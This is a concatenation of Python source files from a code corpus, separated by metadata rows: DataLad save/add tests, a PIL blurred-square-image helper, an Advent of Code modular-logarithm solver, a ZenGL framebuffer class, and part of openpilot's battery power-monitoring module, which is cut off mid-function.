assert_repo_status(parent.path)
os.symlink('sub', op.join(parent.path, 'down'))
parent.save('down')
assert_repo_status(parent.path)
os.makedirs(op.join(parent.path, 'subdir', 'subsubdir'))
os.symlink(op.join(op.pardir, 'sub'), op.join(parent.path, 'subdir', 'up'))
parent.save(op.join('subdir', 'up'))
assert_repo_status(parent.path, untracked_mode='all')
os.symlink(
op.join(op.pardir, op.pardir, 'sub'),
op.join(parent.path, 'subdir', 'subsubdir', 'upup'))
parent.save(op.join('subdir', 'subsubdir', 'upup'))
assert_repo_status(parent.path)
create(op.join(parent.path, 'sub2'))
os.symlink(
op.join(op.pardir, op.pardir, 'sub2'),
op.join(parent.path, 'subdir', 'subsubdir', 'upup2'))
parent.save(['sub2', op.join('subdir', 'subsubdir', 'upup2')])
assert_repo_status(parent.path)
# full replication of #1886: the above but be in subdir of symlink
# with no reference dataset
create(op.join(parent.path, 'sub3'))
os.symlink(
op.join(op.pardir, op.pardir, 'sub3'),
op.join(parent.path, 'subdir', 'subsubdir', 'upup3'))
# need to use absolute paths
with chpwd(op.join(parent.path, 'subdir', 'subsubdir')):
save([op.join(parent.path, 'sub3'),
op.join(parent.path, 'subdir', 'subsubdir', 'upup3')])
assert_repo_status(parent.path)
@with_tree({
'1': '',
'2': '',
'3': ''})
def test_gh2043p1(path):
# this tests documents the interim agreement on what should happen
# in the case documented in gh-2043
ds = Dataset(path).create(force=True)
ds.save('1')
assert_repo_status(ds.path, untracked=['2', '3'])
ds.unlock('1')
assert_repo_status(
ds.path,
# on windows we are in an unlocked branch by default, hence
# we would see no change
modified=[] if ds.repo.is_managed_branch() else ['1'],
untracked=['2', '3'])
# save(.) should recommit unlocked file, and not touch anything else
# this tests the second issue in #2043
with chpwd(path):
# only save modified bits
save(path='.', updated=True)
# state of the file (unlocked/locked) is committed as well, and the
# test doesn't lock the file again
assert_repo_status(ds.path, untracked=['2', '3'])
with chpwd(path):
save(path='.')
assert_repo_status(ds.path)
@with_tree({
'staged': 'staged',
'untracked': 'untracked'})
def test_bf2043p2(path):
ds = Dataset(path).create(force=True)
ds.repo.add('staged')
assert_repo_status(ds.path, added=['staged'], untracked=['untracked'])
# save -u does not commit untracked content
# this tests the second issue in #2043
with chpwd(path):
save(updated=True)
assert_repo_status(ds.path, untracked=['untracked'])
@with_tree({
OBSCURE_FILENAME + u'_staged': 'staged',
OBSCURE_FILENAME + u'_untracked': 'untracked'})
def test_encoding(path):
staged = OBSCURE_FILENAME + u'_staged'
untracked = OBSCURE_FILENAME + u'_untracked'
ds = Dataset(path).create(force=True)
ds.repo.add(staged)
assert_repo_status(ds.path, added=[staged], untracked=[untracked])
ds.save(updated=True)
assert_repo_status(ds.path, untracked=[untracked])
@with_tree(**tree_arg)
def test_add_files(path):
ds = Dataset(path).create(force=True)
test_list_1 = ['test_annex.txt']
test_list_2 = ['test.txt']
test_list_3 = ['test1.dat', 'test2.dat']
test_list_4 = [op.join('dir', 'testindir'),
op.join('dir', OBSCURE_FILENAME)]
for arg in [(test_list_1[0], False),
(test_list_2[0], True),
(test_list_3, False),
(test_list_4, False)]:
# special case 4: give the dir:
if arg[0] == test_list_4:
result = ds.save('dir', to_git=arg[1])
status = ds.repo.annexstatus(['dir'])
else:
result = ds.save(arg[0], to_git=arg[1])
for a in ensure_list(arg[0]):
assert_result_count(result, 1, path=str(ds.pathobj / a))
status = ds.repo.get_content_annexinfo(
ut.Path(p) for p in ensure_list(arg[0]))
for f, p in status.items():
if arg[1]:
assert p.get('key', None) is None, f
else:
assert p.get('key', None) is not None, f
@with_tree(**tree_arg)
@with_tempfile(mkdir=True)
def test_add_subdataset(path, other):
subds = create(op.join(path, 'dir'), force=True)
ds = create(path, force=True)
ok_(subds.repo.dirty)
ok_(ds.repo.dirty)
assert_not_in('dir', ds.subdatasets(result_xfm='relpaths'))
# "add everything in subds to subds"
save(dataset=subds.path)
assert_repo_status(subds.path)
assert_not_in('dir', ds.subdatasets(result_xfm='relpaths'))
# but with a base directory we add the dataset subds as a subdataset
# to ds
res = ds.save(subds.path)
assert_in_results(res, action="add", path=subds.path, refds=ds.path)
res = ds.subdatasets()
assert_result_count(res, 1)
assert_result_count(
res, 1,
# essentials
path=op.join(ds.path, 'dir'),
gitmodule_url='./dir',
gitmodule_name='dir',
)
# create another one
other = create(other)
# install into superdataset, but don't add
other_clone = install(source=other.path, path=op.join(ds.path, 'other'))
other_clone = Dataset(other_clone.path)
ok_(other_clone.is_installed)
assert_not_in('other', ds.subdatasets(result_xfm='relpaths'))
ds.save('other')
ds.uninstall('other')
ok_(not other_clone.is_installed())
ds.get('other')
ok_(other_clone.is_installed())
@known_failure_windows
@with_tree(tree={
'file.txt': 'some text',
'empty': '',
'file2.txt': 'some text to go to annex',
'.gitattributes': '* annex.largefiles=(not(mimetype=text/*))'}
)
def test_add_mimetypes(path):
ds = Dataset(path).create(force=True)
ds.repo.add('.gitattributes')
ds.repo.commit('added attributes to git explicitly')
__not_tested__ = ds.save(['file.txt', 'empty'])
assert_repo_status(path, untracked=['file2.txt'])
ds.save('file2.txt', to_git=False)
annexinfo = ds.repo.get_content_annexinfo()
for path, in_annex in (
('empty', True),
('file.txt', False),
('file2.txt', True)):
p = ds.repo.pathobj / path
assert_in(p, annexinfo)
if in_annex:
assert_in('key', annexinfo[p], p)
else:
assert_not_in('key', annexinfo[p], p)
@known_failure_appveyor
@with_tempfile(mkdir=True)
def test_gh1597(path):
ds = Dataset(path).create()
sub = ds.create('sub')
res = ds.subdatasets()
assert_result_count(res, 1, path=sub.path)
ds.subdatasets(contains=sub.path, set_property=[('this', 'that')])
with open(op.join(ds.path, '.gitmodules'), 'a') as f:
f.write('\n')
assert_repo_status(ds.path, modified=['.gitmodules'])
ds.save('.gitmodules')
assert_not_in(
'key',
ds.repo.annexstatus(paths=['.gitmodules']).popitem()[1])
@with_tempfile(mkdir=True)
def test_gh1597_simpler(path):
ds = Dataset(path).create()
with open(op.join(ds.path, '.gitignore'), 'a') as f:
f.write('*.swp\n')
ds.save('.gitignore')
assert_repo_status(ds.path)
attrfile = op.join ('subdir', '.gitattributes')
ds.repo.set_gitattributes(
[('*', dict(mycustomthing='this'))],
attrfile)
assert_repo_status(ds.path, untracked=[attrfile], untracked_mode='all')
ds.save()
assert_repo_status(ds.path)
assert_not_in(
'key',
ds.repo.get_content_annexinfo([ut.Path(attrfile)]).popitem()[1])
@with_tempfile(mkdir=True)
def test_update_known_submodule(path):
def get_baseline(p):
ds = Dataset(p).create()
sub = create(str(ds.pathobj / 'sub'))
assert_repo_status(ds.path, untracked=['sub'])
return ds
ds = get_baseline(op.join(path, 'wo_ref'))
with chpwd(ds.path):
save(recursive=True)
assert_repo_status(ds.path)
ds = get_baseline(op.join(path, 'w_ref'))
ds.save(recursive=True)
assert_repo_status(ds.path)
@with_tempfile(mkdir=True)
def test_add_recursive(path):
parent = Dataset(path).create()
assert_repo_status(parent.path)
sub1 = parent.create(op.join('down', 'sub1'))
assert_repo_status(parent.path)
sub2 = parent.create('sub2')
subsub = sub2.create('subsub')
assert_repo_status(parent.path, modified=['sub2'])
res = parent.save()
assert_repo_status(parent.path)
create_tree(subsub.path, {'new': 'empty'})
assert_repo_status(parent.path, modified=['sub2'])
res = parent.save(recursive=True, jobs=5)
assert_result_count(
res, 1, path=op.join(subsub.path, 'new'), action='add', status='ok')
assert_result_count(res, 3, action='save', status='ok')
assert_repo_status(parent.path)
@with_tree(**tree_arg)
def test_relpath_add(path):
ds = Dataset(path).create(force=True)
with chpwd(op.join(path, 'dir')):
eq_(save('testindir')[0]['path'],
op.join(ds.path, 'dir', 'testindir'))
save('..')
assert_repo_status(ds.path)
@skip_wo_symlink_capability
@with_tempfile()
def test_bf2541(path):
ds = create(path)
subds = ds.create('sub')
assert_repo_status(ds.path)
os.symlink('sub', op.join(ds.path, 'symlink'))
with chpwd(ds.path):
res = save(recursive=True)
assert_repo_status(ds.path)
@with_tempfile()
def test_remove_subds(path):
ds = create(path)
ds.create('sub')
ds.create(op.join('sub', 'subsub'))
assert_repo_status(ds.path)
assert_result_count(
ds.subdatasets(), 1,
path=op.join(ds.path, 'sub'))
rmtree(op.join(ds.path, 'sub'))
assert_result_count(
ds.status(), 1,
path=op.join(ds.path, 'sub'),
state='deleted')
assert_status('ok', ds.save())
assert_repo_status(ds.path)
@with_tempfile()
def test_partial_unlocked(path):
ds = create(path)
(ds.pathobj / 'normal.txt').write_text(u'123')
ds.save()
assert_repo_status(ds.path)
ds.unlock('normal.txt')
ds.save()
(ds.pathobj / 'ingit.txt').write_text(u'234')
ds.save(to_git=True)
(ds.pathobj / 'culprit.txt').write_text(u'345')
(ds.pathobj / 'ingit.txt').write_text(u'modified')
ds.save()
assert_repo_status(ds.path)
# but now a change in the attributes
ds.unlock('culprit.txt')
ds.repo.set_gitattributes([
('*', {'annex.largefiles': 'nothing'})])
ds.save()
assert_repo_status(ds.path)
@with_tree({'.gitattributes': "* annex.largefiles=(largerthan=4b)",
"foo": "in annex"})
def test_save_partial_commit_shrinking_annex(path):
# This is a variation on the test above. The main difference is that there
# are other staged changes in addition to the unlocked filed.
ds = create(path, force=True)
ds.save()
assert_repo_status(ds.path)
ds.unlock(path="foo")
create_tree(ds.path, tree={"foo": "a", "staged": ""},
remove_existing=True)
# Even without this staged change, a plain 'git commit -- foo' would fail
# with git-annex's partial index error, but save (or more specifically
ds.repo.add("staged", git=True)
if ds.repo.supports_unlocked_pointers:
ds.save(path="foo")
assert_repo_status(ds.path, added=["staged"])
else:
# commit if there were other staged changes.
with assert_raises(CommandError) as cm:
ds.save(path="foo")
assert_in("partial commit", str(cm.exception))
@with_tempfile()
def test_path_arg_call(path):
ds = create(path)
for testfile in (
ds.pathobj / 'abs.txt',
ds.pathobj / 'rel.txt'):
testfile.write_text(u'123')
# we used to resolve relative paths against a dataset just given by
# a path, but we no longer do that
#save(dataset=ds.path, path=[testfile.name], to_git=True)
save(dataset=ds, path=[testfile.name], to_git=True)
@with_tree(tree={
'file.txt': 'some text',
'd1': {
'subrepo': {
'subfile': 'more repo text',
},
},
'd2': {
'subds': {
'subfile': 'more ds text',
},
},
})
def test_surprise_subds(path):
# https://github.com/datalad/datalad/issues/3139
ds = create(path, force=True)
# a lonely repo without any commit
somerepo = AnnexRepo(path=op.join(path, 'd1', 'subrepo'), create=True)
# a proper subdataset
subds = create(op.join(path, 'd2', 'subds'), force=True)
# If subrepo is an adjusted branch, it would have a commit, making most of
# this test irrelevant because it is about the unborn branch edge case.
adjusted = somerepo.is_managed_branch()
# This edge case goes away with Git v2.22.0.
fixed_git = somerepo.git_version >= '2.22.0'
# save non-recursive
res = ds.save(recursive=False, on_failure='ignore')
if not adjusted and fixed_git:
# We get an appropriate error about no commit being checked out.
assert_in_results(res, action='add_submodule', status='error')
# the content of both subds and subrepo are not added to their
# respective parent as no --recursive was given
assert_repo_status(subds.path, untracked=['subfile'])
assert_repo_status(somerepo.path, untracked=['subfile'])
if adjusted or fixed_git:
if adjusted:
# adjusted branch: #datalad/3178 (that would have a commit)
modified = [subds.repo.pathobj, somerepo.pathobj]
untracked = []
else:
# Newer Git versions refuse to add a sub-repository with no commits
# checked out.
modified = [subds.repo.pathobj]
untracked = ['d1']
assert_repo_status(ds.path, modified=modified, untracked=untracked)
assert_not_in(ds.repo.pathobj / 'd1' / 'subrepo' / 'subfile',
ds.repo.get_content_info())
else:
# however, while the subdataset is added (and reported as modified
# because it content is still untracked) the subrepo
# cannot be added (it has no commit)
# worse: its untracked file add been added to the superdataset
assert_repo_status(ds.path, modified=['d2/subds'])
assert_in(ds.repo.pathobj / 'd1' / 'subrepo' / 'subfile',
ds.repo.get_content_info())
# with proper subdatasets, all evil is gone
assert_not_in(ds.repo.pathobj / 'd2' / 'subds' / 'subfile',
ds.repo.get_content_info())
@with_tree({"foo": ""})
def test_bf3285(path):
ds = Dataset(path).create(force=True)
# Note: Using repo.pathobj matters in the "TMPDIR=/var/tmp/sym\ link" case
# because assert_repo_status is based off of {Annex,Git}Repo.path, which is
# the realpath'd path (from the processing in _flyweight_id_from_args).
subds = create(ds.repo.pathobj.joinpath("subds"))
ds.save("foo")
assert_repo_status(ds.path, untracked=[subds.path])
@with_tree({"outside": "",
"ds": {"within": ""}})
def test_on_failure_continue(path):
ds = Dataset(op.join(path, "ds")).create(force=True)
assert_in_results(
ds.save(path=[op.join(path, "outside"),
op.join(path, "ds", "within")],
on_failure="ignore"),
action="status",
status="error")
assert_repo_status(ds.path)
@with_tree(tree={OBSCURE_FILENAME: "abc"})
def test_save_obscure_name(path):
ds = Dataset(path).create(force=True)
fname = OBSCURE_FILENAME
with swallow_outputs():
ds.save(path=fname, result_renderer="default")
@with_tree(tree={
".dot": "ab", "nodot": "cd",
"nodot-subdir": {".dot": "ef", "nodot": "gh"},
".dot-subdir": {".dot": "ij", "nodot": "kl"}})
def check_save_dotfiles(to_git, save_path, path):
# Note: Take relpath to work with Travis "TMPDIR=/var/tmp/sym\ link" run.
paths = [Path(op.relpath(op.join(root, fname), path))
for root, _, fnames in os.walk(op.join(path, save_path or ""))
for fname in fnames]
ok_(paths)
ds = Dataset(path).create(force=True)
if not to_git and ds.repo.is_managed_branch():
ver = ds.repo.git_annex_version
if "8" < ver < "8.20200309":
# git-annex's 1978a2420 (2020-03-09) fixed a bug where
ds.repo.config.set("annex.dotfiles", "true",
where="local", reload=True)
elif ver < "8" and save_path is None:
raise SkipTest("Fails with annex version below v8.*")
ds.save(save_path, to_git=to_git)
if save_path is None:
assert_repo_status(ds.path)
repo = ds.repo
annexinfo = repo.get_content_annexinfo()
def _check(fn, p):
fn("key", annexinfo[repo.pathobj / p], p)
if to_git:
def check(p):
_check(assert_not_in, p)
else:
def check(p):
_check(assert_in, p)
for path in paths:
check(path)
def test_save_dotfiles():
for git in [True, False, None]:
for save_path in [None, "nodot-subdir"]:
yield check_save_dotfiles, git, save_path
@with_tempfile
def test_save_nested_subs_explicit_paths(path):
ds = Dataset(path).create()
spaths = [Path("s1"), Path("s1", "s2"), Path("s1", "s2", "s3")]
for spath in spaths:
Dataset(ds.pathobj / spath).create()
ds.save(path=spaths)
eq_(set(ds.subdatasets(recursive=True, result_xfm="relpaths")),
set(map(str, spaths)))
@with_tempfile
def test_save_gitrepo_annex_subds_adjusted(path):
ds = Dataset(path).create(annex=False)
subds = ds.create("sub")
maybe_adjust_repo(subds.repo)
(subds.pathobj / "foo").write_text("foo")
subds.save()
ds.save()
assert_repo_status(ds.path)
@known_failure
@with_tempfile
def test_save_adjusted_partial(path):
ds = Dataset(path).create()
subds = ds.create("sub")
maybe_adjust_repo(subds.repo)
(subds.pathobj / "foo").write_text("foo")
subds.save()
(ds.pathobj / "other").write_text("staged, not for committing")
ds.repo.call_git(["add", "other"])
ds.save(path=["sub"])
assert_repo_status(ds.path, added=["other"])
| true | true |
f73c2a8997a5511656d320908a7fe6620c837af8 | 3,498 | py | Python | ImageLib.py | mukeshmike9/SquareImageWithBlurBG | 168d159c77ca23e624938bcb0fbf9902bd20bf02 | [
"MIT"
] | null | null | null | ImageLib.py | mukeshmike9/SquareImageWithBlurBG | 168d159c77ca23e624938bcb0fbf9902bd20bf02 | [
"MIT"
] | null | null | null | ImageLib.py | mukeshmike9/SquareImageWithBlurBG | 168d159c77ca23e624938bcb0fbf9902bd20bf02 | [
"MIT"
] | null | null | null | from PIL import Image
from PIL import ImageFilter
import os
class ImageLib:
BLUR_LEVEL = 100
EDGE_REMOVAL_FACTOR = 0.08
def __init__(self, path):
abs_path = os.path.abspath(path)
self.img = Image.open(abs_path)
def get_width(self):
return self.img.width
def get_height(self):
return self.img.height
def get_max_dimension(self):
if(self.img.height > self.img.width):
return self.img.height
return self.img.width
def get_min_dimension(self):
if(self.img.height < self.img.width):
return self.img.height
return self.img.width
def get_image(self):
return self.img
def get_blurred_image(self, level):
self.blur_image = self.img
for i in range(level):
self.blur_image = self.blur_image.filter(ImageFilter.BLUR)
#To remove edges which is not perfectly blurred
crop_factor = self.get_max_dimension() * ImageLib.EDGE_REMOVAL_FACTOR
self.blur_image = self.blur_image.crop((crop_factor, crop_factor, self.blur_image.width - crop_factor, self.blur_image.height - crop_factor))
#As we have removed Edges, we need to resize the image to original size
self.blur_image = self.blur_image.resize((int(self.blur_image.width + (crop_factor * 2)), int(self.blur_image.height + (crop_factor * 2))))
return self.blur_image
def show(self):
self.img.show()
def crop_to_square(src_img: Image):
if(src_img.width > src_img.height):
width = src_img.height
margin = (src_img.width - width) / 2
left = margin
top = 0
right = src_img.width - margin
bottom = src_img.height
else:
height = src_img.width
margin = (src_img.height - height) / 2
left = 0
top = margin
right = src_img.width
bottom = src_img.height - margin
return src_img.crop((left, top, right, bottom))
def get_cropped_square_image(src_img: Image):
height = src_img.height
width = src_img.width
if(src_img.width < src_img.height):
high_dimension = src_img.height
low_dimension = src_img.width
else:
high_dimension = src_img.width
low_dimension = src_img.height
diff = high_dimension - low_dimension
width = width + (width * (diff / src_img.width))
height = height + (height * (diff / src_img.height))
#print(f"Original Width: {src_img.width}\nOriginal Height: {src_img.height}\nNew Width: {width}\nNew Height: {height}\n")
resized_img = src_img.resize((int(width), int(height)))
return ImageLib.crop_to_square(resized_img)
def __create_blurry_square_background(self) -> None:
self.blurry_bg = ImageLib.get_cropped_square_image(self.get_blurred_image(ImageLib.BLUR_LEVEL))
def get_squared_image(self) -> Image:
self.__create_blurry_square_background()
src_img = self.img
if(src_img.width < src_img.height):
margin = (self.blurry_bg.width - src_img.width) / 2
left = 0
top = margin
else:
margin = (self.blurry_bg.height - src_img.height) / 2
left = margin
top = 0
coordinate = (int(top), int(left))
self.blurry_bg.paste(self.img, coordinate)
return self.blurry_bg
| 35.333333 | 149 | 0.617496 | from PIL import Image
from PIL import ImageFilter
import os
class ImageLib:
BLUR_LEVEL = 100
EDGE_REMOVAL_FACTOR = 0.08
def __init__(self, path):
abs_path = os.path.abspath(path)
self.img = Image.open(abs_path)
def get_width(self):
return self.img.width
def get_height(self):
return self.img.height
def get_max_dimension(self):
if(self.img.height > self.img.width):
return self.img.height
return self.img.width
def get_min_dimension(self):
if(self.img.height < self.img.width):
return self.img.height
return self.img.width
def get_image(self):
return self.img
def get_blurred_image(self, level):
self.blur_image = self.img
for i in range(level):
self.blur_image = self.blur_image.filter(ImageFilter.BLUR)
crop_factor = self.get_max_dimension() * ImageLib.EDGE_REMOVAL_FACTOR
self.blur_image = self.blur_image.crop((crop_factor, crop_factor, self.blur_image.width - crop_factor, self.blur_image.height - crop_factor))
self.blur_image = self.blur_image.resize((int(self.blur_image.width + (crop_factor * 2)), int(self.blur_image.height + (crop_factor * 2))))
return self.blur_image
def show(self):
self.img.show()
def crop_to_square(src_img: Image):
if(src_img.width > src_img.height):
width = src_img.height
margin = (src_img.width - width) / 2
left = margin
top = 0
right = src_img.width - margin
bottom = src_img.height
else:
height = src_img.width
margin = (src_img.height - height) / 2
left = 0
top = margin
right = src_img.width
bottom = src_img.height - margin
return src_img.crop((left, top, right, bottom))
def get_cropped_square_image(src_img: Image):
height = src_img.height
width = src_img.width
if(src_img.width < src_img.height):
high_dimension = src_img.height
low_dimension = src_img.width
else:
high_dimension = src_img.width
low_dimension = src_img.height
diff = high_dimension - low_dimension
width = width + (width * (diff / src_img.width))
height = height + (height * (diff / src_img.height))
resized_img = src_img.resize((int(width), int(height)))
return ImageLib.crop_to_square(resized_img)
def __create_blurry_square_background(self) -> None:
self.blurry_bg = ImageLib.get_cropped_square_image(self.get_blurred_image(ImageLib.BLUR_LEVEL))
def get_squared_image(self) -> Image:
self.__create_blurry_square_background()
src_img = self.img
if(src_img.width < src_img.height):
margin = (self.blurry_bg.width - src_img.width) / 2
left = 0
top = margin
else:
margin = (self.blurry_bg.height - src_img.height) / 2
left = margin
top = 0
coordinate = (int(top), int(left))
self.blurry_bg.paste(self.img, coordinate)
return self.blurry_bg
| true | true |
f73c2c48b9f9d9cdf1e290d0f9538467320272e2 | 1,109 | py | Python | 2020/25/ans1.py | chirsz-ever/aoc | dbdc2e32fbef108752db87f3747ce5898a0775ce | [
"BSL-1.0"
] | null | null | null | 2020/25/ans1.py | chirsz-ever/aoc | dbdc2e32fbef108752db87f3747ce5898a0775ce | [
"BSL-1.0"
] | null | null | null | 2020/25/ans1.py | chirsz-ever/aoc | dbdc2e32fbef108752db87f3747ce5898a0775ce | [
"BSL-1.0"
] | null | null | null | import sys
def modexp(M, s, n):
'''calculate s**n % M'''
assert n >= 0
assert M > 2
s %= M
def loop(k):
if k == 0:
return 1
elif k == 1:
return s
h = loop(k // 2)
if k % 2 == 0:
return h * h % M
else:
return h * h * s % M
return loop(n)
def modlog(M, s, t):
'''find n make s**n % M == t'''
assert M > 2
s %= M
t %= M
t1 = 1
for n in range(0, M):
if t1 == t:
return n
t1 *= s
t1 %= M
raise RuntimeError(f"Can't calculate modlog({M}, {s}, {t})")
P = 20201227
def main():
c_pbk = 0
d_pbk = 0
if len(argv := sys.argv) > 2:
c_pbk = int(argv[1])
d_pbk = int(argv[2])
else:
c_pbk = int(input("card public key:"))
d_pbk = int(input("door public key:"))
c_lpsz = modlog(P, 7, c_pbk)
d_lpsz = modlog(P, 7, d_pbk)
print(f"{c_lpsz=}")
print(f"{d_lpsz=}")
ecrypk = modexp(P, d_pbk, c_lpsz)
print(f"encryption key = {ecrypk}")
if __name__ == '__main__':
main()
| 19.12069 | 64 | 0.450857 | import sys
def modexp(M, s, n):
assert n >= 0
assert M > 2
s %= M
def loop(k):
if k == 0:
return 1
elif k == 1:
return s
h = loop(k // 2)
if k % 2 == 0:
return h * h % M
else:
return h * h * s % M
return loop(n)
def modlog(M, s, t):
assert M > 2
s %= M
t %= M
t1 = 1
for n in range(0, M):
if t1 == t:
return n
t1 *= s
t1 %= M
raise RuntimeError(f"Can't calculate modlog({M}, {s}, {t})")
P = 20201227
def main():
c_pbk = 0
d_pbk = 0
if len(argv := sys.argv) > 2:
c_pbk = int(argv[1])
d_pbk = int(argv[2])
else:
c_pbk = int(input("card public key:"))
d_pbk = int(input("door public key:"))
c_lpsz = modlog(P, 7, c_pbk)
d_lpsz = modlog(P, 7, d_pbk)
print(f"{c_lpsz=}")
print(f"{d_lpsz=}")
ecrypk = modexp(P, d_pbk, c_lpsz)
print(f"encryption key = {ecrypk}")
if __name__ == '__main__':
main()
| true | true |
f73c2c553a443771d7c12888d49d40898c62caab | 485 | py | Python | examples/example_project/simple_framebuffer.py | szabolcsdombi/zengl | 2c9c26784285f2f049fb5d6fc9da0ad65d32d52f | [
"MIT"
] | 116 | 2021-10-31T17:24:18.000Z | 2022-02-01T05:47:18.000Z | examples/example_project/simple_framebuffer.py | szabolcsdombi/zengl | 2c9c26784285f2f049fb5d6fc9da0ad65d32d52f | [
"MIT"
] | 9 | 2021-11-12T19:21:33.000Z | 2022-01-20T09:48:31.000Z | examples/example_project/simple_framebuffer.py | szabolcsdombi/zengl | 2c9c26784285f2f049fb5d6fc9da0ad65d32d52f | [
"MIT"
] | 3 | 2021-11-12T18:55:05.000Z | 2022-01-19T13:58:26.000Z | from typing import Tuple
from context import Context
class SimpleFramebuffer:
def __init__(self, size: Tuple[int, int]):
ctx = Context.context
self.image = ctx.image(size, 'rgba8unorm')
self.depth = ctx.image(size, 'depth24plus')
self.framebuffer = [self.image, self.depth]
def clear(self, red: float, green: float, blue: float):
self.image.clear_value = (red, green, blue, 1.0)
self.image.clear()
self.depth.clear()
| 28.529412 | 59 | 0.641237 | from typing import Tuple
from context import Context
class SimpleFramebuffer:
def __init__(self, size: Tuple[int, int]):
ctx = Context.context
self.image = ctx.image(size, 'rgba8unorm')
self.depth = ctx.image(size, 'depth24plus')
self.framebuffer = [self.image, self.depth]
def clear(self, red: float, green: float, blue: float):
self.image.clear_value = (red, green, blue, 1.0)
self.image.clear()
self.depth.clear()
| true | true |
f73c2cba93cc24a4febe325eb4e4af9f9eaebfea | 8,303 | py | Python | selfdrive/thermald/power_monitoring.py | cqxmzz/openpilot | 34ebfa20c05dd559147d601740725704652085a6 | [
"MIT"
] | null | null | null | selfdrive/thermald/power_monitoring.py | cqxmzz/openpilot | 34ebfa20c05dd559147d601740725704652085a6 | [
"MIT"
] | null | null | null | selfdrive/thermald/power_monitoring.py | cqxmzz/openpilot | 34ebfa20c05dd559147d601740725704652085a6 | [
"MIT"
] | null | null | null | import random
import threading
import time
from statistics import mean
from cereal import log
from common.params import Params, put_nonblocking
from common.realtime import sec_since_boot
from selfdrive.hardware import HARDWARE
from selfdrive.swaglog import cloudlog
CAR_VOLTAGE_LOW_PASS_K = 0.091 # LPF gain for 5s tau (dt/tau / (dt/tau + 1))
# A C2 uses about 1W while idling, and 30h seens like a good shutoff for most cars
# While driving, a battery charges completely in about 30-60 minutes
CAR_BATTERY_CAPACITY_uWh = 30e6
CAR_CHARGING_RATE_W = 45
VBATT_PAUSE_CHARGING = 11.5
MAX_TIME_OFFROAD_S = 3*3600
class PowerMonitoring:
def __init__(self):
self.params = Params()
self.last_measurement_time = None # Used for integration delta
self.last_save_time = 0 # Used for saving current value in a param
self.power_used_uWh = 0 # Integrated power usage in uWh since going into offroad
self.next_pulsed_measurement_time = None
self.car_voltage_mV = 12e3 # Low-passed version of pandaState voltage
self.integration_lock = threading.Lock()
car_battery_capacity_uWh = self.params.get("CarBatteryCapacity")
if car_battery_capacity_uWh is None:
car_battery_capacity_uWh = 0
# Reset capacity if it's low
self.car_battery_capacity_uWh = max((CAR_BATTERY_CAPACITY_uWh / 10), int(car_battery_capacity_uWh))
# Calculation tick
def calculate(self, pandaState):
try:
now = sec_since_boot()
# If pandaState is None, we're probably not in a car, so we don't care
if pandaState is None or pandaState.pandaState.pandaType == log.PandaState.PandaType.unknown:
with self.integration_lock:
self.last_measurement_time = None
self.next_pulsed_measurement_time = None
self.power_used_uWh = 0
return
# Low-pass battery voltage
self.car_voltage_mV = ((pandaState.pandaState.voltage * CAR_VOLTAGE_LOW_PASS_K) + (self.car_voltage_mV * (1 - CAR_VOLTAGE_LOW_PASS_K)))
# Cap the car battery power and save it in a param every 10-ish seconds
self.car_battery_capacity_uWh = max(self.car_battery_capacity_uWh, 0)
self.car_battery_capacity_uWh = min(self.car_battery_capacity_uWh, CAR_BATTERY_CAPACITY_uWh)
if now - self.last_save_time >= 10:
put_nonblocking("CarBatteryCapacity", str(int(self.car_battery_capacity_uWh)))
self.last_save_time = now
# First measurement, set integration time
with self.integration_lock:
if self.last_measurement_time is None:
self.last_measurement_time = now
return
if (pandaState.pandaState.ignitionLine or pandaState.pandaState.ignitionCan):
# If there is ignition, we integrate the charging rate of the car
with self.integration_lock:
self.power_used_uWh = 0
integration_time_h = (now - self.last_measurement_time) / 3600
if integration_time_h < 0:
raise ValueError(f"Negative integration time: {integration_time_h}h")
self.car_battery_capacity_uWh += (CAR_CHARGING_RATE_W * 1e6 * integration_time_h)
self.last_measurement_time = now
else:
# No ignition, we integrate the offroad power used by the device
is_uno = pandaState.pandaState.pandaType == log.PandaState.PandaType.uno
# Get current power draw somehow
current_power = HARDWARE.get_current_power_draw() # pylint: disable=assignment-from-none
if current_power is not None:
pass
elif HARDWARE.get_battery_status() == 'Discharging':
# If the battery is discharging, we can use this measurement
# On C2: this is low by about 10-15%, probably mostly due to UNO draw not being factored in
current_power = ((HARDWARE.get_battery_voltage() / 1000000) * (HARDWARE.get_battery_current() / 1000000))
elif (self.next_pulsed_measurement_time is not None) and (self.next_pulsed_measurement_time <= now):
# TODO: Figure out why this is off by a factor of 3/4???
FUDGE_FACTOR = 1.33
# Turn off charging for about 10 sec in a thread that does not get killed on SIGINT, and perform measurement here to avoid blocking thermal
def perform_pulse_measurement(now):
try:
HARDWARE.set_battery_charging(False)
time.sleep(5)
# Measure for a few sec to get a good average
voltages = []
currents = []
for _ in range(6):
voltages.append(HARDWARE.get_battery_voltage())
currents.append(HARDWARE.get_battery_current())
time.sleep(1)
current_power = ((mean(voltages) / 1000000) * (mean(currents) / 1000000))
self._perform_integration(now, current_power * FUDGE_FACTOR)
# Enable charging again
HARDWARE.set_battery_charging(True)
except Exception:
cloudlog.exception("Pulsed power measurement failed")
# Start pulsed measurement and return
threading.Thread(target=perform_pulse_measurement, args=(now,)).start()
self.next_pulsed_measurement_time = None
return
elif self.next_pulsed_measurement_time is None and not is_uno:
# On a charging EON with black panda, or drawing more than 400mA out of a white/grey one
# Only way to get the power draw is to turn off charging for a few sec and check what the discharging rate is
# We shouldn't do this very often, so make sure it has been some long-ish random time interval
self.next_pulsed_measurement_time = now + random.randint(120, 180)
return
else:
# Do nothing
return
# Do the integration
self._perform_integration(now, current_power)
except Exception:
cloudlog.exception("Power monitoring calculation failed")
def _perform_integration(self, t, current_power):
with self.integration_lock:
try:
if self.last_measurement_time:
integration_time_h = (t - self.last_measurement_time) / 3600
power_used = (current_power * 1000000) * integration_time_h
if power_used < 0:
raise ValueError(f"Negative power used! Integration time: {integration_time_h} h Current Power: {power_used} uWh")
self.power_used_uWh += power_used
self.car_battery_capacity_uWh -= power_used
self.last_measurement_time = t
except Exception:
cloudlog.exception("Integration failed")
# Get the power usage
def get_power_used(self):
return int(self.power_used_uWh)
def get_car_battery_capacity(self):
return int(self.car_battery_capacity_uWh)
# See if we need to disable charging
def should_disable_charging(self, pandaState, offroad_timestamp):
if pandaState is None or offroad_timestamp is None:
return False
now = sec_since_boot()
disable_charging = False
disable_charging |= (now - offroad_timestamp) > MAX_TIME_OFFROAD_S
disable_charging |= (self.car_voltage_mV < (VBATT_PAUSE_CHARGING * 1e3))
disable_charging |= (self.car_battery_capacity_uWh <= 0)
disable_charging &= (not pandaState.pandaState.ignitionLine and not pandaState.pandaState.ignitionCan)
disable_charging &= (self.params.get("DisablePowerDown") != b"1")
